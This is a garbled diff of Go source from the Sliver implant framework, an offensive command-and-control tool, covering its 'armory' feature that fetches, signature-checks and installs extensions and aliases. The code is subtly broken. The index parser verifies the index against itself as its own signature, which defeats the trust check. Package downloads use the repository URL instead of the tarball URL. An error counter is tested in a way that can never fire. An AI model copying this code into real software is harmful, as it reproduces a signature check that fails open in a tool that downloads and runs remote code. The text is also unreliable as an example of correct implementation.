||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
type ArmoryHTTPConfig struct {
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
DisableTLSValidation bool
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
con.Printf("errors!\n")
|
||||
}
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
} else {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
aliases = append(aliases, cacheEntry.Alias)
|
||||
} else {
|
||||
exts = append(exts, cacheEntry.Extension)
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexBundles := value.(indexCacheEntry).Index.Bundles
|
||||
bundles = append(bundles, indexBundles...)
|
||||
return true
|
||||
})
|
||||
return bundles
|
||||
}
|
||||
|
||||
// AliasExtensionOrBundleCompleter - Completer for alias, extension, and bundle names
|
||||
func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
bundles := bundlesInCache()
|
||||
for _, aliasPkg := range aliases {
|
||||
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
|
||||
results = append(results, aliasPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, extensionPkg := range exts {
|
||||
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
|
||||
results = append(results, extensionPkg.CommandName)
|
||||
}
|
||||
}
|
||||
for _, bundle := range bundles {
|
||||
if strings.HasPrefix(bundle.Name, prefix) {
|
||||
results = append(results, bundle.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
// PrintArmoryPackages - Prints the armory packages
|
||||
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
|
||||
type pkgInfo struct {
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
Help string
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
Help: aliasPkg.Help,
|
||||
URL: aliasPkg.RepoURL,
|
||||
})
|
||||
}
|
||||
for _, extension := range exts {
|
||||
entries = append(entries, pkgInfo{
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Version,
|
||||
Type: "Extension",
|
||||
Help: extension.Help,
|
||||
URL: extension.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
"Help",
|
||||
"URL",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Command Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, pkg := range entries {
|
||||
color := console.Normal
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PrintArmoryBundles - Prints the armory bundles
|
||||
func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.Name,
|
||||
strings.Join(bundle.Packages, ", "),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func parseArmoryHTTPConfig(ctx *grumble.Context) ArmoryHTTPConfig {
|
||||
var proxyURL *url.URL
|
||||
rawProxyURL := ctx.Flags.String("proxy")
|
||||
if rawProxyURL != "" {
|
||||
proxyURL, _ = url.Parse(rawProxyURL)
|
||||
}
|
||||
|
||||
timeout := defaultTimeout
|
||||
rawTimeout := ctx.Flags.String("timeout")
|
||||
if rawTimeout != "" {
|
||||
var err error
|
||||
timeout, err = time.ParseDuration(rawTimeout)
|
||||
if err != nil {
|
||||
timeout = defaultTimeout
|
||||
}
|
||||
}
|
||||
|
||||
return ArmoryHTTPConfig{
|
||||
IgnoreCache: ctx.Flags.Bool("ignore-cache"),
|
||||
ProxyURL: proxyURL,
|
||||
Timeout: timeout,
|
||||
DisableTLSValidation: ctx.Flags.Bool("insecure"),
|
||||
}
|
||||
}
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
indexes = append(indexes, cacheEntry.Index)
|
||||
}
|
||||
return true
|
||||
})
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
|
||||
defer func() {
|
||||
armoryResult.Fetched = time.Now()
|
||||
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
armoryResult.LastErr = err
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
|
||||
return
|
||||
}
|
||||
|
||||
var index *ArmoryIndex
|
||||
if indexParser, ok := indexParsers[repoURL.Hostname()]; ok {
|
||||
index, err = indexParser(armoryConfig, clientConfig)
|
||||
} else {
|
||||
index, err = DefaultArmoryIndexParser(armoryConfig, clientConfig)
|
||||
}
|
||||
if index != nil {
|
||||
armoryResult.Index = *index
|
||||
}
|
||||
if err != nil {
|
||||
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, armoryPkg, clientConfig)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
|
||||
return
|
||||
}
|
||||
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
|
||||
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
|
||||
return
|
||||
}
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
|
||||
return
|
||||
}
|
||||
if sig != nil {
|
||||
pkgCacheEntry.Sig = *sig
|
||||
} else {
|
||||
pkgCacheEntry.LastErr = errors.New("nil signature")
|
||||
return
|
||||
}
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
package armory
|
||||
@@ -0,0 +1,284 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name {
|
||||
installAlias(alias, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name {
|
||||
installExtension(ext, clientConfig, con)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading alias ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tmpFile.Close()
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
_, err = alias.LoadAlias(filepath.Join(*installPath, alias.ManifestFileName), con)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(ext *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
deps := make(map[string]struct{})
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, con.App) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == "" {
|
||||
return // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if entry.Extension.DependsOn == name {
|
||||
return // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
// seen this dependency, we stop resolving
|
||||
if _, ok := deps[entry.Extension.DependsOn]; ok {
|
||||
return // Already resolved
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
return
|
||||
}
|
||||
deps[entry.Extension.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con)
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.PrintInfof("Downloading extension ...")
|
||||
|
||||
var sig *minisign.Signature
|
||||
var tarGz []byte
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
|
||||
} else {
|
||||
sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var publicKey minisign.PublicKey
|
||||
publicKey.UnmarshalText([]byte(entry.Pkg.PublicKey))
|
||||
rawSig, _ := sig.MarshalText()
|
||||
valid := minisign.Verify(publicKey, tarGz, []byte(rawSig))
|
||||
if !valid {
|
||||
return errors.New("signature verification failed")
|
||||
}
|
||||
|
||||
tmpFile, err := ioutil.TempFile("", "sliver-armory-")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
_, err = tmpFile.Write(tarGz)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = tmpFile.Sync()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install extension")
|
||||
}
|
||||
extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if extensions.CmdExists(extCmd.Name, con.App) {
|
||||
con.App.Commands().Remove(extCmd.Name)
|
||||
}
|
||||
extensions.ExtensionRegisterCommand(extCmd, con)
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,370 @@
|
||||
package armory
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
)
|
||||
|
||||
// ArmoryIndexParser - Generic interface to fetch armory indexes
|
||||
type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
|
||||
|
||||
// ArmoryPackageParser - Generic interface to fetch armory package manifests
|
||||
type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
|
||||
|
||||
var (
|
||||
indexParsers = map[string]ArmoryIndexParser{
|
||||
"api.github.com": GithubAPIArmoryIndexParser,
|
||||
}
|
||||
pkgParsers = map[string]ArmoryPackageParser{
|
||||
"api.github.com": GithubAPIArmoryPackageParser,
|
||||
}
|
||||
)
|
||||
|
||||
const (
|
||||
armoryIndexFileName = "armory.json"
|
||||
armoryIndexSigFileName = "armory.minisig"
|
||||
)
|
||||
|
||||
type armoryIndexResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
ArmoryIndex string `json:"armory_index"` // Base64 String
|
||||
}
|
||||
|
||||
type armoryPkgResponse struct {
|
||||
Minisig string `json:"minisig"` // Minisig
|
||||
TarGzURL string `json:"tar_gz_url"`
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
|
||||
// DefaultArmoryParser - Parse the armory index directly from the url
|
||||
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryConfig.RepoURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
index := &armoryIndexResponse{}
|
||||
err = json.Unmarshal(body, index)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Verify index is signed by trusted key
|
||||
valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
|
||||
if !valid {
|
||||
return nil, errors.New("invalid signature")
|
||||
}
|
||||
|
||||
armoryIndex := &ArmoryIndex{}
|
||||
armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = json.Unmarshal(armoryIndexData, armoryIndex)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
client := httpClient(clientConfig)
|
||||
resp, err := client.Get(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := ioutil.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
|
||||
return nil, nil, errors.New("invalid url scheme")
|
||||
}
|
||||
resp, err := client.Get(tarGzURL.String())
|
||||
if err != nil {
|
||||
